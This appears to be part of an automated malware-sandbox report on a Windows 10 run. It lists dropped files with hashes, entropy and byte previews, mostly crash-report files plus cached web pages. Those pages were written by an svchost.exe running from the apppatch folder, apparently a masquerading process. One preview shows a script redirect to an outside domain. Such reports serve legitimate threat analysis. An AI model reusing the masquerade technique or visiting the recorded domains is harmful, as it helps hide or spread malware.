                                                                                                                                                                                                          Entropy (8bit):3.7135304672699436
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJ+26e8DJV6YEINSUuiQgmfxWprq89bL5sf0TZm:R6lXJn6DDr6YECSUuiQgmfxALSfZ
                                                                                                                                                                                                          MD5:30233FA0A9ED8284C1C51D19D936C1ED
                                                                                                                                                                                                          SHA1:7ECFB9F922F9EFB04A1B2B47992A12EAF74F9D30
                                                                                                                                                                                                          SHA-256:3AFB166B13CA0EE1DF5636E63249AA96B2AC882C698B3B0855255BAF995E049A
                                                                                                                                                                                                          SHA-512:607A9523443269051385AC9D61B94AF7C4084A72973AAF1DD91EC3243AED6510141D5550EA8AC8BB728D6C341945B2C5885D5362B73707EFC4F87797504DE470
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.8.0.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD9DE.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4694
                                                                                                                                                                                                          Entropy (8bit):4.580551898212293
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs5Jg77aI9orWpW8VYe4Ym8M4JogFc+q8f5RogM2Id:uIjfLI7Ga7VnJQQRoR2Id
                                                                                                                                                                                                          MD5:E7C22BA733B2631597E6CAE136B32CB9
                                                                                                                                                                                                          SHA1:6809A0647EE87D76768BE07DC556D9FD5935B67F
                                                                                                                                                                                                          SHA-256:D1635BAFFDEA3D6676D8B825F20A843C000029974488F2F42A6C0415A402F993
                                                                                                                                                                                                          SHA-512:7521174F65C729FE5C2F2812CEC58501254FF69E73757038E9516A844E23F59D11C19731FF992D06FE8F02011333D39256FC6A349288C78A071F7DC761063D08
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="468465" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD9FF.tmp.csv

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):87300
                                                                                                                                                                                                          Entropy (8bit):3.1062576534479414
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:1536:K0lV+8EohiZjRkWqo0uwpT3rQQViIXX2x:K0lV+8EohiZjRkWqo0uwpT3rQgiIXX2x
                                                                                                                                                                                                          MD5:5BAF1FCA45A400205CDEF21AAD8F69B7
                                                                                                                                                                                                          SHA1:83522EB3FC810505EBA30AB736F297C74B8FBA5E
                                                                                                                                                                                                          SHA-256:BF3E5EE9DD9113495444907F1808074ED11A79200B7EF18049383C661F460427
                                                                                                                                                                                                          SHA-512:6454482BED6503945A0AE186043E99C325CE26D49C97D4A3853E5D395B0CC9AEF21069BBC88B480FC2CE3CE0E844FA7CADE9A3327A711282AC99294DAD3E8098
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERDA1A.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Fri Aug 23 16:42:50 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):110030
                                                                                                                                                                                                          Entropy (8bit):1.694636545160793
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:384:ilO7tPVTstpfdmno0IiyCGISlnxQrSs+lBSqxq0mataHN:QcttTspmnCaV+lBSqt3Yt
                                                                                                                                                                                                          MD5:ED5C82750A3A63834CF2C6899CD0375A
                                                                                                                                                                                                          SHA1:B8DC98BDC25317260B714DFDBBD063649F1FC668
                                                                                                                                                                                                          SHA-256:401FBBD4507DFA8164B0ADDC6FF0F5D8A7D5D1E24B7B33FEC980198CFAE5F038
                                                                                                                                                                                                          SHA-512:A53943C08586FFF5AA14FDD775E12D23851BBA3AAF61A53615E1C644AF086971591299A164A7AB2C95333EE702E9BD2DA86B6F60C87D4FB8C7EA4DBD2DEA569C
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... ..........f............D...........D...L............J..........T.......8...........T...........8(..........................|...............................................................................eJ....... ......GenuineIntel............T.............f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERDACB.tmp.txt

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):13340
                                                                                                                                                                                                          Entropy (8bit):2.684392129429231
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:96:TiZYWJ9xjdYUYcWO/HSJYEZvVtFiq3/XxA5wM5uraQ5QDMwfj0I2j3:2ZDDTyrA3caQ5MMwfjj2j3
                                                                                                                                                                                                          MD5:2863C3F2D7A99B6B40C2CB24FEEFC1B8
                                                                                                                                                                                                          SHA1:9710A726C8A32A10ADE758B135F492831115960E
                                                                                                                                                                                                          SHA-256:9B1CEE24A495B2C1EFF217D2E5593C006E0762D8CF8050FE747246FFA1F1DA19
                                                                                                                                                                                                          SHA-512:40B2D91269B2D857747118C4267ECFC6931824C97136B7E948EE7C3AB3EB6C1004A50EF708F228C0DEE20A9DF2690EEDA6F617F70E1F8F9C1067D068D3EFDFF8
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB06.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8418
                                                                                                                                                                                                          Entropy (8bit):3.713296899640381
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJcV6O6YEIuSUuiQgmfxWpri89bLysflBZm:R6lXJm6O6YERSUuiQgmfxwLxflO
                                                                                                                                                                                                          MD5:EDF2C35BC552531F274B4FFADF036AD9
                                                                                                                                                                                                          SHA1:C8158D6917EF191E710131325FF1B9EEAE4F243D
                                                                                                                                                                                                          SHA-256:DAB215D5DD995BB5A62014D1970AA4D4345287DC12D3E49658B008D171059CD6
                                                                                                                                                                                                          SHA-512:7013F93B5D065425DD6B0E42BA13E47379AFA380CD13DF04B9550762DD85D8FCF8A19B822B829DF3380D6EE062AB11A34ED6B5F9D7700049DDBCFFA4121A265A
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.3.0.0.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB35.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4694
                                                                                                                                                                                                          Entropy (8bit):4.5847374426976115
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs5Jg77aI9orWpW8VYeL0Ym8M4JogFc+q8f/CdRogM25d:uIjfLI7Ga7VjJgDRoR25d
                                                                                                                                                                                                          MD5:4ED96B673168D443FEC0F3E57A958C00
                                                                                                                                                                                                          SHA1:801A58C3CBE125CA024A1B1D8F1B19A825B6AC83
                                                                                                                                                                                                          SHA-256:FE82557FC70C0252293EDBCC087414C370E5F415220674AAC978D758F78A3BF0
                                                                                                                                                                                                          SHA-512:43F1A27D323D280BAB6D23D20FEA8159EA6C3567C9EABF4BF485B3A54D1DE2234BC96C6F3EA1DF639F6473CBBE954F3BEA477E4C9BC601C2DDAEB0284978F43D
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="468465" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB78.tmp.csv

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):87324
                                                                                                                                                                                                          Entropy (8bit):3.1060302790301235
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:1536:POVtd6v/P2rR4WGN0uwpT+rZQRqAIXYdE:POVtd6v/P2rR4WGN0uwpT+rZ8qAIXYdE
                                                                                                                                                                                                          MD5:0EB5449B0C125BB707AA6238A7C49839
                                                                                                                                                                                                          SHA1:DC9B47297E15616ADE1D53E3C9BDCA2C391D92BC
                                                                                                                                                                                                          SHA-256:E85A1FA6E1D1576ABB1A272C5DE70186C78126AB0ED7936D0D513A2D532735AD
                                                                                                                                                                                                          SHA-512:35FBE4C13B227B024AD77091A33E1E7700A3F297FE1A00E0DD1F13124C442893E9AB54824C939A18CA66E6C8399A1CED2EE33B2F7DA047D859DA38CF8C66EE89
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC15.tmp.txt

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):13340
                                                                                                                                                                                                          Entropy (8bit):2.6841340281438453
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:96:TiZYW+bSgC2Y/YTWNHSJYEZbXtFia3/XxA5wLmmaR5eMkfOI/j3:2ZDyYy5AgBaR5eMkfZ/j3
                                                                                                                                                                                                          MD5:FC45B762E4F7BE3BBA5DA875E24FC69C
                                                                                                                                                                                                          SHA1:FAD3D259FC6592C9FF02FC91B200292918888E56
                                                                                                                                                                                                          SHA-256:8DC1A8DBE3527158CE64881EE59B8B8FD823B9DA5DE9D372E46A4234BFABC573
                                                                                                                                                                                                          SHA-512:D6184C9CF4DFD13CA40BCAB72A7D8AE3F36B1D8DA22E4309DE628F6C93082D6D4FE49890A9A2C1400F2E90A306C1D1D7D7029B41C1D22C76E42AECBF6D7AEA8F
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\PSSYIN6Y.htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with very long lines (487), with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):2166
                                                                                                                                                                                                          Entropy (8bit):6.1301215852229545
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:+0sJprc4VxD5J6XkiocXlASnxsX0sJprc4VxDVy0sJprc4VxDb:+00JT73iPVAexO00JTU00JTb
                                                                                                                                                                                                          MD5:25F1E06AB7E6609CB7ED1AA8F6581BA4
                                                                                                                                                                                                          SHA1:B70C7CC700EEC16742DDC6009BFCA04D14358499
                                                                                                                                                                                                          SHA-256:83A939DD49DAFD26769E2C2C99C959FAFA6275AAAF4BAB24604695A4388B616C
                                                                                                                                                                                                          SHA-512:72DDE4135DC7A5814B8EA9E2AB532630B67D1F533133380E62DED3E3FDEAE695AE737F6FAB7C0655D00210D7734EEC050B69DC1A0ED336CC691F2012BAC4A46A
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview: ...top.location="http://ww1.lysyfyj.com/?fp=ZbSrv2i18YnNfPNSqSsC6n0jQLvcDPBy65hKrYcVeZdyOk55NkMmURDujLfYrzEMz5BE5QmQNeiQHadmY0w%2B%2BVfpeulpAVXGQKGLT8A7T7dz2YpMc1JfB3BKmsZuIwvejkVQz9GfFhNYAH0cBFF4KID2C7M8REwxyw2jkbe82wtG9h%2FDQyY95q0uURPrzixhzz9eDBBFZ1ErP0Afi2kOK211rGBVLt0uyEAcUFRwmVT4RRdPv%2F665t09U%2FP9JtApZkkSZ1jnwUZFPfrf5um%2B7w%3D%3D&prvtof=85P%2BvzUaO2GB7ULKjb0pRQ9vWyzI7FnHeQjbVBiQzKs%3D&poru=lL%2FTHaDL0%2BASDNkLUsN%2FTJNHeOzJzHu9wApqlIl41Tk%3D&cifr=1&";.../*..-->..<html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_QxSmw6RcvjLET9dXUu4diAwDxJRMRhwu5JrKgGGNNluOe+8v6fp9Vrb8zF67AKMkxTjy4Ml2VYDQeupqs/Ba9Q=="><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">...... <meta name="viewport" content="width=device-width"><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"><script type='text/javascript'>try{document.cookie = 'isframesetenabled=1; path=/;';}ca

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\login[2].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with very long lines (54064), with CRLF, LF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):105040
                                                                                                                                                                                                          Entropy (8bit):5.796103443327176
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:1536:C8Cg338X8dpsclE2MClQy+m+/XxIMlFFpb8rb8Zb8Kb8Fb8rsZPtYbcr:Czg388psclEYPFWxIWQiP+d/Ybcr
                                                                                                                                                                                                          MD5:66521C5E942C614B84F928DB26E4615E
                                                                                                                                                                                                          SHA1:0471749388435C72BBA635D5AC0209CCE487DBEE
                                                                                                                                                                                                          SHA-256:C6A166F031FCAB851AA3EA96F74F99220C70A0802AB3EE82E386523E46569F8C
                                                                                                                                                                                                          SHA-512:D49ADF3BD6B3DF1A2A777E7A4DE9626984F1B35203A514DF76D8545E647453D4CEDC9A7CC0B9BA4171F08FD97BCD8AD1FC54B2CC3487ACDA976D956EBB49C1EA
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">..<html>..<head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net">.. <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","HR","LV","LT","MT","NL","PL","SV","SK","SL","CS","HU","RU","SR

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\login[2].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):593
                                                                                                                                                                                                          Entropy (8bit):4.470551863591405
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:12:ZM1YKxs2A3aoJSw259ExxClHIlRBnNqKDuI1CA94IQL:ZM1y3aoJ7259EoolRHqFI8k4j
                                                                                                                                                                                                          MD5:3B03D93D3487806337B5C6443CE7A62D
                                                                                                                                                                                                          SHA1:93A7A790BB6348606CBDAF5DAEAAF4EA8CF731D0
                                                                                                                                                                                                          SHA-256:7392749832C70FCFC2D440D7AFC2F880000DD564930D95D634EB1199FA15DE30
                                                                                                                                                                                                          SHA-512:770977BEAEEDAFC5C98D0C32EDC8C6C850F05E9F363BC9997FA73991646B02E5D40CEED0017B06CAEAB0DB86423844BC4B0A9F0DF2D8239230E423A7BFBD4A88
                                                                                                                                                                                                          Malicious:false
